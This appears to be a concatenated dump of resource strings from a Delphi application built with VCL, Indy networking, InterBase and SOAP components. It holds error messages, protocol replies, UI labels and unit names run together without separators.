credentialsExpression is not an aggregate expressionCommand not implemented for that parameter.Start SSL negotiation command failed.Clear command channel is not permitted.DNS Server Reports Query Server ErrorDNS Server Reports Query Format ErrorDNS Server Reports Query Name ErrorDNS Server Reports Query Not Implemented ErrorDNS Server Reports Query Refused ErrorUnable to set Filename while log file is open.Data port can only be used by the same IP address used by the control connection.Can't use dataprotection on site to site transfer.Printer is not currently printingData set property is not assignedCannot build the Decision Cube with an empty data setDecision Cube size excedes limitsInvalid blank event added to EventAlerter events listThe bin type does not match the fieldtype.Header has already been written.Host is down.IOHandler is of wrong type.Cannot change a connected IOHandler.IP Broadcast Receive Error = 0.Node is owned by a different documentThe context has expired and can no longer be used.Can not connect to MX servers for address %sAverage is calculated using a field sum and count(*). The necessary summaries have been added.Average is calculated using sum and count summaries for each field. The necessary summaries have been added.Mode has not been set.TStrings descendant %s failed to call inherited constructorDatabase name is missingObject factory for class %s missingProvider not exported: %sProvider name "%s" was not recognized by the serverThe per-message Quality of Protection is not supported by the security packageUnable to not open registry key: %sCould not load key, check password.Server Returned Unknown ErrorServer has gracefully disconnected you, possibly because the connection was idle for too long.Server sent invalid port number (%s)Server is busyCould not find server in ObjectManager listData connection assurance check failed. Server reported IP: %s Port: %d Our socket IP: %s Port: %dThe security context does not allow impersonation of the clientThe security context could not be established due to a failure in the requested quality of service (e.g. mutual authentication or delegation).The Socket Server can only be run as a service on NT 3.51 and priorThe Socket Server is already runningStack already created.Hour Offset portion of time invalidField '%s' is of an unsupported typeThe logon attempt failedValue cannot be stored in an optional parameterThe target principal name is incorrect.The destination filename can not be emptyCurrent UMASK is %.3dFailed to set calendar selected rangeRequested PROT level not supported by mechanism.Expected return value not receivedSelected DOM Vendor does not support this property or methodUser %s not local; please try <%s>Failed to set maximum selection rangeFailed to set calendar min/max rangeDestinationDirectory is not setShow Detail Records..Cannot open detail table with master closedDecDecemberDecigramsDeciLitersDecimetersDecisteresTueQuery is legal.Query could not be run. Check that the query, SQL text, and Database are correct.The query may be incorrectly defined, or you may need to map its fields to active dimensions or summaries with the Decision Cube EditorAddress already in use.Address family not supported by protocol family.Update affected more than 1 record.Request is not live - cannot modifyRequest rejected because the client program and identd report different user-ids.Request rejected because SOCKS server cannot connect.Attachment %s is blocked.Login OKThe logon was completed, but no network authority was available. The logon was made using locally known informationAllowed login attempts exceeded, good bye.Fixed column count must be less than column countFixed row count must be less than row countCommand channel switched to clear-text.The credentials supplied to the package were not recognizedThe Indy Pit CrewFile corrupted.Database is currently connected. Disconnect and continue?Dataset is not a queryDataset does not support bookmarks, which are required for multi-record data controlsThe dataset may be incorrectly defined, or you may need to map its fields to active dimensions or summaries with the Decision Cube EditorThe dimension types for this dataset cannot be determined automatically. You must map the fields to dimensions or summaries with the Decision Cube EditorAcceptWait property cannot be modified while server is active.Cannot enable AutoSessionName property with more than one session on a form or data-moduleItemTag property is not initializedCannot set Loop property when the Thread is already running.Cannot set ThreadName when the Thread is already running.Property may not be modified while aggregate is activeDelimiter and QuoteChar properties cannot have the same valueCannot change settings when there are active connections. Kill connections?Fields '%s' and '%s' are not assignment compatibleUnable to determine field names for %sFilter property cannot be used for detail tablesThe function completed successfully, but both CompleteToken and this function must be called to complete the contextThe function completed successfully, but CompleteToken must be calledThe function completed successfully, but must be called again to complete the contextTotal cell count of %d exceeds the maximum of %d.Date grouping is not allowed for fields of this typeGrouping level not definedGrouping level exceeds current index field countDimension Map is not the correct sizePBSZ Data Buffer Size required.Can not assign Host property, it is resolved by IdDirectSMTP on the fly.Cannot change IPVersion when connectedFailed to read ImageList data from streamFailed to write ImageList data to streamInformation required to do Maximum Cell limit is not current. Do you want to fetch it now?InterBase Install DLL ibinstall.dll not found in the path. Please install InterBase 6 to use this functionalityInterpretation of message failedThe transaction isolation level must be dirty read for local databasesYear portion of date too large for conversionCapacity cannot be less than sizeThe DecisionCube Capacity is low. Please deactivate dimensions or change the data set.Component is not connected to an open DatabaseConstant is not correct type %sThe context data must be renegotiated with the peer.Conversion from class %s to SOAP is not supported - SOAP classes must derive from TRemotableCapability list followsThe MasterSource property of '%s' must be linked to a DataSourceMethod '%s' not supported by automation objectCannot load message from file %sMessage length exceeds administrative limitOperation cannot mix aggregate value with record-varying valueOperation not supported on socket.Operation already in progress.Operation now in progress.Operation cancelled at user's requestOperation would block.Tab position incompatible with current tab styleProtocol family not supported.You cannot Register or Unregister events from within an OnEventAlert handlerRequest method requires HTTP version 1.1SSL connection has dropped.Unable to complete write request, progress halted at %d bytesServer Connection not locatable when sending messageCannot change the scheduler while the server is Active.Software caused connection abort.Stack Class is undefined.Buffer start position is invalid.Stringlist not initialized!String list does not allow duplicates.Begin TLS negotiation now Transaction failedTransport protocols must be the same.URL must be in the form "http://server.company.com/scripts/httpsrvr.dll"The clocks on the client and server machines are skewed.Variant is emptyCannot change connection on Active MonitorOpening ASCII mode data connection for /bin/ls.Opening ASCII mode data connection for file list.Opening ASCII data connection for directory listingClosing Connection Channel.Connection not allowed by ruleset.Connection Closed Gracefully.Connection explicitly refused by NNTP server.Connection reset by peer.MSDOS-like directory output is %sPreparation of record constraint failed with error "%s"Preparation of field constraint failed with error "%s"Preparation of default expression failed with error "%s"The certificate chain was issued by an untrusted authority.Destination file already exists.Cannot assign requested address.The function requested is not supportedThe information requested could not be loaded. The specified data could not be decrypted.The specified data could not be encrypted.The credentials supplied were not complete, and could not be verified. The context could not be initialized.The credentials supplied were not complete, and could not be verified. Additional information can be returned from the context.The buffers supplied to a function was too small.The query you have entered is not legal. Please correct it before continuing.The message received was unexpected or badly formatted.The requested IPVersion / Address family is not supported.The following SITE commands are supported:The Local Security Authority cannot be contactedMaximum number of concurrent connections exceeded. Please try again laterFor the latest updates and information please visit:The query you have created is not legal.The message supplied for verification is out of sequenceThe message or signature supplied for verification has been alteredMust apply updates before refreshing dataThis change will not take affect until the Socket Server is restartedTransfer modes must be the same.The supplied message is incomplete. The signature was not verified.The supplied IP address is not a valid multicast address [224.0.0.0 to 239.255.255.255].TuesdayCannot perform this action on an active Dimension MapNo request handlers handled this request. The WebAppComponents PageDispatcher, AdapterDispatcher or DispatchActions property may not be set.There are still active COM objects in this application. One or more clients may have references to these objects, so manually closing This authentication method is already registered with class name %s.Property can not be a negative number.SSL IOHandler is required for this settingOperation not allowed on sorted string list.Operation not allowed on a unidirectional datasetCannot perform this operation on an active sessionUnsupported operation.Drill in to this valueAuthentication Type not valid for this protocol.This value can not be set while the client is connected.This value can not be set while the server is active.This control requires version 4.70 or greater of COMCTL32.DLLDigitalVideoOpen DimensionDimension SettingsDispatch methods do not support more than 64 parametersDispatch interface missing from class %sDistribution CoordinatorDivision by zeroThuDocumentationDocumentation CoordinatorDocumentElement %s:%s expected, %s:%s foundMoney GreenThursdayDouble parameter expectedDuplicate CardId foundDuplicate action nameDuplicate database name '%s'Duplicate field name '%s'Duplicate index name '%s'Duplicate name '%s' in %sDuplicate session name '%s'Duplication prototype nameDramsDrag and DropDrag, Drop and DockingPrint SetupPrinter index out of rangePrinting in progressDryBucketsNavyStrikeoutC&lear&Result Field:E&xplore&RemoteSend emailI/O error %dEOF in comment detectedEOF in string detected EPSV ALL sent, now only accepting EPSV connectionsEditing SASL List for %s&Web Page Editor...ActiveX Control Data Bindings EditorBinding EditorDecision Query EditorDecision Query Editor..Decision Cube EditorDecision Cube Editor..Body Text Editor%s property out of rangeProperty %s does not existMissing %s propertyUnable to locate property '%s' on component '%s'Property '%s' has not been initialized on component '%s'Missing DataSet propertyMissing DataSetField propertyMissing Database propertyMissing DriverName propertyFileName property cannot be blankMissing SQLConnection propertyScrollbar property out of rangeMissing TableName propertyCannot change Visible in OnShow or OnHideProperty already defined by lookup fieldProperty is read-onlyProperty or Method "%s" is not supported by DOM Vendor "%s"This property or method is not implemented in the Open XML ParserProperty filters may only be name, class or type based (%d:%d)Cannot use array of Field values with Expression IndicesA style named %s has already been registeredA call to an OS function failedAn expression cannot be used for a grouping fieldCan only modify an image if it contains a bitmapCannot hide an MDI Child FormCannot "open" a non-select statement. Use ExecQueryPassword requiredMust issue a STARTTLS command firstNo Site to Site transfers are permitted with a FTP NAT fastracked connection.A control cannot have itself as its parentCannot focus a disabled or invisible windowUnable to create new itemOne or more fields of a type which cannot be tabulated were removed from the query.Cannot apply updates to a ReadOnly providerCan't find included page: %sSend a messageCannot modify a read-only datasetBuffer terminator must be specified.Can't end a shared transaction unless it is forced and equal to the transaction's TimeoutActionNegative stream size invalidUnexpected message arrived to an interface that is not listeningOdd byte position not valid for WideStringOdd size not valid for WideStringCannot add a session to the form or data-module while session '%s' has AutoSessionName enabledInsPastePaste|Inserts Clipboard contentsInputInput RequestedSe&ttings:Grid Dimension SettingsUnable to save settingsItem %s is not allowed to be movedAdd itemUnable to insert an itemItem not found ($0%x)ControlItem %s has subitems, delete anyway?Control '%s' has no parent windowElement of Array type %s has no RTTIElement does not contain a single text nodeCubitsRecv Receive data fileReceived content of invalid Content-Type setting: %s - SOAP expects "text/xml"Receive control fileReceived Packet is too small. Less than 12 bytes %dReceived Packet is too small. Less than 4 bytes %dEndEnd of fileEnd of StatusEnd of stream: Class %s at %dEnd of extentions.DelRemoveDistanceEventOnDataAvailable event is nil.Events already registeredYou must register events before queueing themEvents are not supported with server side TableDirect cursorsSuccessful ConnectionSuccess.Successfull API callCould not parse required '%s' symbolCould not parse required '+' (or '-') symbolReceiveIncrement By&Allow XML PacketsPermission Denied&ReplaceReplace|Replaces specific text with different textDo AcquireCredentialsHandle firstCreating Cube index for %s ...First recordEnhanced MetafilesExtensions supported:Extension already exitsExtension is emptyBuildFailed to create key %sNo IOHandler of type %s is installed.There is currently no active project.SQL Monitor Instance is already presentReceived someone else's packetA script error occured. Do you want to debug?Transaction is currently Active. Rollback and continue?No buffer space available.No default browser is specifiedThere is no active transactionNo topic-based help system installedNo index currently activeCannot have more than one MDI form per applicationUnable to retrieve a pointer to a running object registered with OLE for %s/%sCan't create new socketCannot connect, %s must contain a valid repository idCannot connect, %s must contain a valid ServerName or ServerGUIDCannot insert or delete rows from gridYou can only register 15 events per EventAlerterThread must be specified for the scheduler.No dimension fields are defined. No Events RegisteredNo Install Options selectedNot enough space available to load a dimension. Not enough room available to load a summary. URL requiredUpdating wrong databaseA message has been received but the commication mode is unknownComponent was expected to implement IInterfaceComponentReference for ValuesList supportNo credential handle acquiredNo OnListDirectory event found!No OnNewGroupsList event has been defined.No OnNewNewsList event has been defined.No OnXHDREntry event has been defined.No OnXOVER event has been defined.No command handler found.No PSecPkgInfo specifiedNo execute handler found.No bindings specified.No OnGetItem event handler assignedA Stack has not been created for converting the data type.No data modules registeredNo fields defined. Cannot create datasetNo help keyword specified.No active summaries have been defined. No available dimensions have been defined. Not all bytes sent.Not enough bytes read from stream.Not enough bytes receivedToo many custom variant types have been registeredEscFluidTablespoonsException %s in module %s at %p. %s%s Exception in InterpretData: %sException in safecall methodDelete existing components?Out of memory while expanding memory streamRemote LoginAdd F&ield to SQLERRORImplicit FTP requires that IOHandler be set to a TIdServerIOHandlerSSL.FTP daemonFacets and Enumeration not allowed on this kind of datatype "%s"FahrenheitBad address.Bad RequestBad sequence of commandsBad file number.Incorrect length in received blockBad protocol option.Wrong SOCKS-versionIncorrect type information for class %sWrong SOCKS-CommandWrong SOCKS5-ATYPBad variant type %xBad GatewayIncorrect image format (%0:s) for field %1:sNetwork protocol mismatch, useColor&BoldFebError in parameters to %sMissing query, table name or procedure nameMissing Connection or ConnectionStringMissing ProgIDType mismatch in expressionTable Name MismatchColumn lists do not matchMissing data provider or data packetNo value for parameter '%s'Invalid Web component creationMissing FaultString or FaultCode elementRange check errorRange check error while converting variant of type (%s) into type (%s)Range check error for variant of type (%s)Codeset conversion failureInvalid DOMString sizeRichEdit line insertion errorError connecting with SSL.Update Error - %sError in parsing command.SSL certificate request error.Error resolving Address %s: %s (%d)Error resolving host %s: %s (%d)Error creating object. Please verify that the Microsoft Data Access Components 2.1 (or later) have been properly installedSQL Parse Error: %sError in transformation before sendWinsock Initialization Error.Error assigning Hot-Key to %s. %sA Win32 API function failedError accepting connection with SSL.Error creating SSL context.Error on call Winsock2 library function %sError binding data to SSL socket.File load errorError decoding URL style (%%XX) encoded string at position %dError downloading URL: %sError geting SSL method.Error removing control from dock treeMessage type recognition errorError creating cursor handleError creating window device contextError creating system registry entryThread creation error: %sError creating file "%s"Error creating variant or safe arrayError setting path: "%s"Failed to get data for '%s'Error loading previously saved settings file: %sWould you like to delete it?Error on loading Winsock2 library (%s)Error loading ISAPI Application: %sError loading MIDAS.DLLError Loading XMLError reading from socketError reading %s%s%s: %sError reading from Mime Request StreamSocket read errorFailed to set data for '%s'Error setting stream sizeError setting %s.CountError saving attachment.Error saving fileError Processing Header (%s)%sError sending mailError opening port %d with error: %sWindows API error. (Windows error %d [$%.8x])Command parameter error! Example: rcpt to:Parameter error! Example: mail from:ISAPI Application ErrorError on line %d, position %dError: Error: error conditionsError: No program code to return request!Error: no queues definedWrong StateErrors object must support the interface IIterateIntfSupportFieldField "%s" is read-onlyField "%s" not foundField %s did not provide an imageField %s has an unsupported data type: %sField %s ignored, only one status field allowedField %s changed by another userField '%s' has no datasetField '%s' is not of type BooleanField '%s' is not the correct type of calculated field to be used in an aggregate, use an internalcalcField '%s' is not indexed and cannot be modifiedField '%s' cannot be a calculated or lookup fieldCannot access field '%s' as type %sCannot convert field '%s' to a floating point valueCannot convert field '%s' to an integer valueField '%s' cannot be used in a filter expressionField '%s' cannot be modifiedField '%s' must have a valueData set field not found: %sField is not a dataset field: %sField not found: %sField view not permittedField propertiesFieldsQuery FieldsAdd FieldsAdd Fields...Field index out of rangeFieldname %s exceeds %d charsField name missingField Link DesignerWindowWindow is invalid or a child windowWindow BackgroundWindow FrameWindow TextDisk Quota Exceeded.BoldBold ItalicInvalid FieldKindFileName cannot be blankFilter expression incorrectly terminatedFilterOptions are not supportedAreaThe following commands are recognized (* => unimplemented, + => extension).The following SITE commands are supported: HELP DIRSTYLEFor&matFormat '%s' invalid or incompatible with argumentUnsupported clipboard formatFormat string too longFormatEditFormat result longer than 4096 charactersCannot create form. No MDI forms are currently activeUnable to locate form/component, '%s'GoneContinueFriFridayFuchsiaFeetNo URL was specified for 'GET'Field %s requires a valueUploaded file expected for field %sReferenceTableName not specified for field '%s'A connection component is required for async ExecuteOptionsNo authority could be contacted for authentication.Type information missing for class %sNot enough memory is available to complete this requestAn About Box is not available for this controlNo property pages are available for this controlCannot create a method for an unnamed componentNo argument provided for an operator or summaryFluidGallonsDryGallonsUKGallonsType in the query directlyFoundEntering Passive Mode (%s).DeletedCannot create shared resource. (Windows error %d)Generic ServiceStart not applicable: Use Specific Procedures to set configuration paramsGigametersFluidGillsGrid requested to display more than 256 columnsGrid too large for operationGrid index out of rangeFloating point division by zeroFloating point underflowFloating point overflowOutline index not foundGlobal scheam items may not contain a refGradient Active CaptionGradient Inactive CaptionPicture:GrainsGrayGray TextGroupIndex cannot be less than a previous menu item's GroupIndexReason: %s Group values for this field into ranges&Thread Cache Size:Size(Bytes)Size Mismatch - Field %s size is too small for dataValid name, no data record (check DNS setup).&Master FieldsBGHTTP version not supportedHello %sHandsHectaresHectogramsHectoLitersHectometersConnectingshutdownHighlight BackgroundHighlight TextHelpHelp and HintsSky Blue&Add...Background&AddAddTile &HorizontallyTile HorizontalHostHost is emptyHost unreachable.Host field is emptyResolving hostname %s.Polite people say HELO&Show in Log&ContentsIBSQL ClosedIBSQL OpenICMP Receive Error = 0.IDOMNode requiredImplicit IMAP4 requires that IOHandler be set to a TIdServerIOHandlerSSLBase.IP AddressIPv&4 (127.0.0.1)IPv&6 (::1)IPv6 unavailableDuplicate item in arrayNo dispatcher component found on data moduleNo credentials are available in the security packageThere is too many IP addresses in the specified range (%d) to be displayed at design time.Could not parse imaginary portionUnable to write to %sCannot insert into dataset. (No insert query)Aggregate expressions not allowed in filtersString list does not allow duplicatesNo WSDL or URL property was set in the THTTPRIO component. You must set the WSDL or URL property before invoking the Web ServiceNo databases are listed in transaction componentCan't write to a read-only resource streamInactive BorderInactive CaptionInactive Caption TextInclude file %s includes itselfIndex '%s' not foundIndex does not exist. Index: %sIndex FilesIndex Field MissingCustom...Custom message interpretation failedPersonalized Menus and ToolbarsIndy FTP Server ready.Indy SASLIndy SMTP ServerIndy Telnet ServerIndy ClientsIndy I/O HandlersIndy InterceptsIndy MiscAbout Internet &Direct (Indy) %s...About Web App DebuggerInfo BackgroundInfo TextAbout...Informational: informational messagesContent LengthContent-Length header not foundUnable to find a Table of ContentsInitialization of script debugger failed. Verify that a script debugger is installedIncompatible conversion types [%s - %s, %s - %s]Incompatible conversion types [%s, %s, %s]Incompatible conversion types [%s, %s]Integer parameter expectedInteger overflowBuilt-in TypeInterBase library gds.so.0 not found in the path. Please install InterBase to use this functionalityInterBase library gds32.dll not found in the path. Please install InterBase to use this functionalityInterbaseExpress 4.3InterceptEnabled cannot be set to true when Intercept is nil.Interface %s not registeredInterface (%s) is not registered - please include the unit that registers this interface to your projectInterface (%s) canno be remoted - please verify the interface declaration - specially the methods calling convention!Interface is unusable due to failure to stopInterface was already stoppedInterface was already startedInternal error: data type kind %s not expected in this contextInternet Direct (Indy)Invalid IP V6 Address. %sCenturiesMillenniaJanJanuaryabort jobJulJulyJulianDateJunJuneCFailed to set calendar date or timeUnable to use duplicate DataSource and LookupSourceCannot load older version of TShapeList capacity out of bounds (%d)No argument for format '%s'No User: Port pair is not used or not used by an identifiable userNo service available for URL %sNo Dispatcher setNo Help Manager installed.No hostNo index for fields '%s'No ContentNo Table of Contents found.No Message processing node setNo Native to Message converter setNo MCI device openNo MX records for the domain %sNo OnRcptTo eventNo parameter type for parameter '%s'No ProviderNo provider availableNo server availableNo Table Name assignedNo WSDL document associated with WSDLViewNo access to field "%s"No access to temporary fileNo access to temporary file: check TMPDIR settingNo active documentNo matching ADO data type for %sNo address specifiedCannot update. (No update query)No data allowedNo data to read.No dataset associationNo Records AffectedNo help found for "%s"No class registered for invokable interface %sNo Class is regisgtered to implement interface %sCannot convert to TBcd: string has more than 64 digits: %sNo route to host.No SQL statement availableNo interface is registered to handle URL %sType mismatch in parameter %sNo automatically activated data modulesNo context-sensitive help installedNo context-sensitive Help installed.No interface registered for URL '%s'No interface registered for soap action '%s'No topic-based Help installed.No modification allowed (readonly data)Type mismatch in parameter %d for method %sNo matching Kylix type was found for type: URI = %s, Name = %s on Node %sKelvinkernel messagesKilogramsKiloLitersKilometersClass %s does not implement interface GUID %sClass %s is not applicable to this moduleClass %s not foundA class named %s already existsClass not registeredClasses that represent scalar types must descend from TRemotableXS, %s does notCordsCordFeetNode "%s" not foundNode is readonlyNode cannot be nullNode not foundComponent %s not found%s component requires Client to function properly%s component requires Server to function properlyComponent is in Asynchronous mode but OnMessageArrive has not been hookedComponent is in Synchronous mode but OnMessageReceive has not been hookedA component named %s already existsComponent does not support scripting. Class: %0:s, Name: %1:sComponent name '%s' exceeds 64 character limitCompression errorUnable to initialize compressorConfiguration file %s not foundConflictConstant out of rangeCannot convert from the specified typeCannot convert to the specified typeConversion family (%s) already registeredConversion type (%s) already registered in %sCopyCorrectCritical: critical conditionsCubicYardsCubicDecametersCubicDecimetersCubicFeetCubicHectometersCubicKilometersCubicMilesCubicMetersCubicMillimetersCubicCentimetersCubicInchesItalic&Login promptLayoutEmpty queryEmpty SQL StatementCannot convert empty string to TBcd valueEmpty documentSpaceLeftLegacySet the GroupRef property for the cmGroupRef content modelCanvas does not allow drawingLast ActivityLast Response Time:Last recordLightYearsLimit on the number of summaries which can be loaded at one timeLimeLineLinksLinkageAlign Left|Aligns text at the left indentList does not allow duplicates ($0%x)List is locked during an active ForEachList index out of bounds (%d)Lists all the PortTypes published by this ServiceLitersLicense information for %s is invalidLicense information for %s not found. You cannot use this control in design modeLog(%d)LogDetailPlease login firstLogin page is not definedLocal type declarations cannot have a name. Element: %slocal use 0 (local0)local use 1 (local1)local use 2 (local2)local use 3 (local3)local use 4 (local4)local use 5 (local5)local use 6 (local6)local use 7 (local7)User %s not local; no forwarding address%s User not local, Will forwardLocal Processing ErrorLookup information for field '%s' is incompleteLookupSource must be connected to TTable componentLocaleLength RequiredDeletes are not allowedDelete|Erases the selectionMD is an Obsolete Command. Use MX.MF is an Obsolete Command. USE MX.MMMovieFont SelectMa&x Events:&Send Mail...mail systemMailA is an Obsolete Command. USE MX.MainUpdateActionMassUnable to open the MasterSource TableMax Response Time:Too many connections. Try again later.Max line length exceeded.Maximum outline depth exceededMaximum sessions exceededMaximum number of line allowed exceededMaximumMaximum of %sDimensions/SummariesDisplay Dimension &NamesMegameters%s does not allow multiple filesMultiple body elements not supported%s does not allow multiple valuesMultiselect mode must be on for this featureMilesDon't Prompt AgainSet Size Exceeded.Menu '%s' is already being used by another formMenu inserted twiceMenu index out of rangeMenu TextChainsMetafile is not validError creating window classUnable to Open MetadataMetersMethod %s of class %s not foundMethod '%s' not supported by OLE objectMethod has no RTTINo method named '%s' is supported by interface '%s'Method not permitted in TSoapDataListMethod definition for %s has over %d parametersMetricTonsMicrosoft MSXML is not installedMicrogramsMicromicronsMilligramsMilliLitersMillimetersMillimicronsMilliSecondsMimetype is emptyMin Response Time:Minimum of %sMinutesThere is no LSA mode context associated with this context.Medium GrayAverage summaries use Sum and CountAverage of %sAvg Response Time:WednesdayModification of %s is not permittedModifiedJulianDateWeb App Module Factory already registered.Mode set to %s.Mode is not initialisedUnimplemented mode.AcresAcreFeetAcreInchesMust enable multiref output for objects when serializing a graph of objects - (%s)Open MyBase tableMarMarchCannot convert NAN to TBcd valueImplicit NNTP requires that IOHandler be set to a TIdSSLIOHandlerSocketBase.NOOPNTP subsystemNULL only allowed with '=' and '<>'Move &UpMove Dow&nCannot send or receive after socket is closed.Cannot perform a requery after connection has changedMessage parts cannot be used in a message which has a ContentTransferEncoding value.Lookup definition&Attribute set name:Attribute set nameSession name missingConnection name missingObject type name required as parameter valueDLL/Shared Library Name not SetName not allowed on a ref itemDisplay Names and &ValuesDisplay Names, Values, and &TotalsNamespace URINanogramsNe&twork...Net dropped connection or reset.network news subsystemNewAdd NewNew FieldNew Lookup FieldNot AcceptableNot logged inInsufficient data for Content-LengthNon AuthenticatedUnauthorizedUnterminated string constantUnterminated field nameNon-recoverable errors: FORMERR, REFUSED, NOTIMP.Non-blocking not supported on LinuxUnrecognized content trasnfer encoding.Unrecognized IMAP4 Response Header.Unrecognized POP3 Response Header: "%s"Unrecognized UUE encoding scheme.Not enough data in buffer.Not enough timers availableNot permitted after CCCNot permittedNot ModifiedNot in edit modeNot in cached update modeNot connected to server.Not supportedUnsupported calling convention: %sUnsupported ISAPI Application version: %.8xUnsupported character encoding "%s", try using LoadFromFileUnsupported Data Type %dUnsupported data type : %sUnsupported Field TypeUnsupported hash algorithm. This implementation supports only MD5 encoding.Unsupported Media TypeUnsupported object type. You can assign only one of the following types or their descendants: TStrings, TStream.Unsupported SOAP encodingStyle %sUnsupported transfer mode: "%s"Unsuppported variant type %dUnsupported variant type: %sUnsupported authorization scheme.Unsupported featureNot AvailableUnassigned variant valueMismatched paramaters to RegisterChildNodesNon-echo type response receivedNon-authoritative response (try again or check DNS setup).Non-authoritative InformationNickRegularEmergency: system is unusableNoted.Nov&Run Time Display OnlyNumber parameter (relative message number or UID) is invalid; Cannot contain non-digit characters.Number parameter (relative message number or UID) is invalid; Cannot contain an empty string.Number parameter (relative message number or UID) is invalid; Must be 1 or greater.Display Subtotals OnlyOnly one data module per applicationOnly one FaultCode element allowedOnly one FaultString element allowedOnly one WebDispatcher per form/data moduleOKOLE error %.8xObjectView must be True for Table with Object fieldsFailed to get object at index %dFailed to set object at index %dObject does not support scripting. Class: %0:sObject type not supported.Can't listen on an open socketNoneOkOctOctoberOliveOnCustomFTPProxy required but not assignedOnExecute not assigned.Operation abortedOperation not supported on selected printerCannot perform this operation on a closed databaseCannot perform this operation on a closed datasetCannot perform this operation on an open databaseCannot perform this operation on an open datasetCannot perform this operation on an empty datasetOperation not allowed on sorted listOperation not allowed in a DBCtrlGridCannot perform operation -- DB is currently openCannot perform operation -- DB is not openCannot perform operation -- service is attachedCannot perform operation -- service is not attachedOperation not allowed with aggregates activeOperation not allowed on an empty OLE containerOperation not supported. %s component does not support IGetWebComponentListBreak link operation is not supported.Option not recognized.Option not set to allow Native type to be set to NULLDesigner Data OptionsGrid Dimension OptionsLocal time is %sOtherNick&Listen on Port:PASVBoundPortMax must be greater than PASVBoundPortMax.PASVBoundPortMin must be less than PASVBoundPortMax.PBSZ Command OK. Protection buffer size set to 0.Implicit POP3 requires that IOHandler be set to a TIdServerIOHandlerSSL.POP3 proxy readyPOP3 proxy signing offPROT Command OK. Using Clear data connectionPROT Command OK. Using Private data connectionCan't load package %s. %sCannot load package '%s.' It contains unit '%s,'which is also contained in package '%s'Package Size Too Big.Packages are not supported by '%s' ServerParameter %d required for method %sParameter %s on Method %s of Interface %s has no RTTIParameter %s Not ImplementedParameter '%s' truncated on outputParameter '%s', cannot save data larger than %d bytesParameter expectedAdd Params...Parameter name expectedParentConnection is not assignedPass&word:PasswordEnter passwordMissing passwordPassword must not be blankPassword: Retired/Past ContributorsMoved PermanentlyPoundsFluidPintsDryPintsUKPintsCan not bind in port range (%d - %d)Port TypePort:HomeUKPottleL&ogCannot Create Primary Index; are created automaticallyPrivileged instructionProject Co-Coordinatorlog alertOpen trace log fileLog files (*.log)Protocol field is emptySwitching protocolslog auditUse ProxyUnable to Find Procedure %sBuffer not setBuffer fault.PointsPurplePutObject to undefined itemSquareYardsSquareDecametersSquareDecimetersSquareFeetSquareHectometersSquareKilometersSquareMilesSquareMetersSquareMillimetersSquareRodsSquareCentimetersSquareInchesFluidQuartsDryQuartsSource and destination tables are incompatibleYou cannot call QueueEvents from within an OnEventAlert handlerRRCode NO ErrorRESPONSERankineRaw Receive Error = 0.ReaumurRightAlign Right|Aligns text at the right indentRecordset is not openFailed to clear tab controlFailed to set tab "%s" at index %dFailed to retrieve tab at index %dFailed to delete tab at index %dDriver/Connection Registry File '%s' not foundRecursion while doing a VarDataCastToRecursion while doing a VarDataClearRecursion while doing a VarDataCopyRecursion while doing a VarDataCopyNoIndRecursion while doing a VarDataInitRemote Method Call: unsupported calling convention %s for method %s on interface %sResource %s is of incorrect classRedUndo|Reverts the last actionRestore Defaults&CloseLook&up Keys:&Display Sparse Rows/Columns&Do not display Sparse Rows/ColumnsNeed SASL mechanisms to login with it!!SEOFReachedImplicit SMTP TLS requires that IOHandler be set to a TIdServerIOHandlerSSL.SOAP Response Packet: result element expected, received "%s"Soap header %s with attribute 'mustUnderstand' set to true was not handledSPB Constant Not supportedSPB Constant UnknownEdit SQLSQL not supported: %sSQL &Builder ...SQL Error: Error mapping failedCould not parse SQL TimeStamp stringSSL is not available on this server.SSL library internal error.SSL status: "%s"Could not load SSL library.SSPI %s returns error #%d(0x%x): %sSSPI interface has failed to initialise properlySatSaturdayScannerButton FaceButton ShadowButton TextDryBushelsUKBushelsCloseKeyKey may not contain equals sign ("=")A key with the name of "%s" already existsInterface %s has no RTTIInterface has no RTTI, UUID = %sInterface not registered, UUID = %sWritePacesBlackFatal error in cache: code: %dCannot create script engine: %s. Error: %xCannot initialize script engineScript engine not found: %s.Script ErrorScript Object expectedNauticalMilesPage %s does not support inclusionPage Set&up...PagesSecondsCustom ColorsSendSepSeparatorSeptemberSequencerserver not respondingServer did not respond.S&top ServerServer do not support APOP (no timestamp)Server Name MissingServerInfoService "%s" failed to uninstall with error: "%s"Service "%s" failed to install with error: "%s"Service Info PageService ready for new user.Service uninstalled successfullyService installed successfullyService failed on %s: %sService failed in custom message(%d): %sService not available, closing control connection.Service closing control connection.SetCipher failed.security/authorization messages (1)security/authorization messages (2)You are not allowed to delete this itemYou cannot set %s while the HL7 Component is workingYou cannot send a message while you are still waiting for an answerYou must chain this component to another I/O Handler before using itYou have to provide a TIdRR_SOA object with Serial number and Name to progress IXFR. %dMust have a valid field type selectedMust select at least one key field and one update fieldSee OtherSilverCannot change session state when the server is active.SunSocket already openSocket is not connected.Cannot allocate socket.Could not bind socket. Address and port are already in use.Socket must be in blocking modeSocket Error # %d %sSocket operation on non-socket.Socket type not supported.Socks server did not respond.SundaySourceDirectory is not setColumn cannot be set to null (%s)Add Columns...Column index out of range : %dColumn types don't match. (From index: %d; To index: %d)Memory ControlVariant operation ran out memorySave &As...Save As|Saves the active file with a new nameSt&atisticsStack overflowCould not load root certificate.Standard&Default URL:Standard StyleDefault URL:Standard Deviation of %sFailed to Start: %sStart a new query using a table from the databaseStat StatusBar cannot have more than 64 panelsSteresControl of when the information for this field is loadedControl whether to load the decision cube at design timeControl file save to %sListbox (%s) style must be virtual in order to set CountStonesNo Stored Procedure Name assignedStored Procedures not supported by '%s' ServerStream read errorStream write errorControl-C hitString expectedLoad string listSave string listString List EditorString parameter expectedStructure set to %s.Hours&Find...Topic SearchFind|Finds the specified textSumSum of %s&Toolbar OptionsIconsReset ToolbarInvalid SyntaxSyntax error (no parameters allowed)Syntax Error - Command not understood: %sSyntax error in parameters or argumentsSyntax error, command unrecognized.system daemonsSystem Error. Code: %d. %sCannot Drop System IndexOut of system resourcesAdd T&able to SQLTAggregateStream Error: no internal streamsTIdIRC 1.061 by Steve WilliamsTIdMessagePart can not be created. Use descendant classes. TIdSNPP Mess command only supports single line Messages.Must use STLSTPB Constant (%d) is unknownTPB Constant (%s) is unknownTPB Constant (isc_tpb_%s) is unsupportedTTL expired.Table/Procedure not foundDaysCannot perform task while server is active.FluidCupsKey "%s" not foundQuit key hitHot-Key is assigned to another windowHot-Key is invalidFluidTeaspoonsTemperatureMoved Temporarily&Wrap TextText not found: "%s"Text exceeds memo capacityText file (*.txt)|*.txt|Any 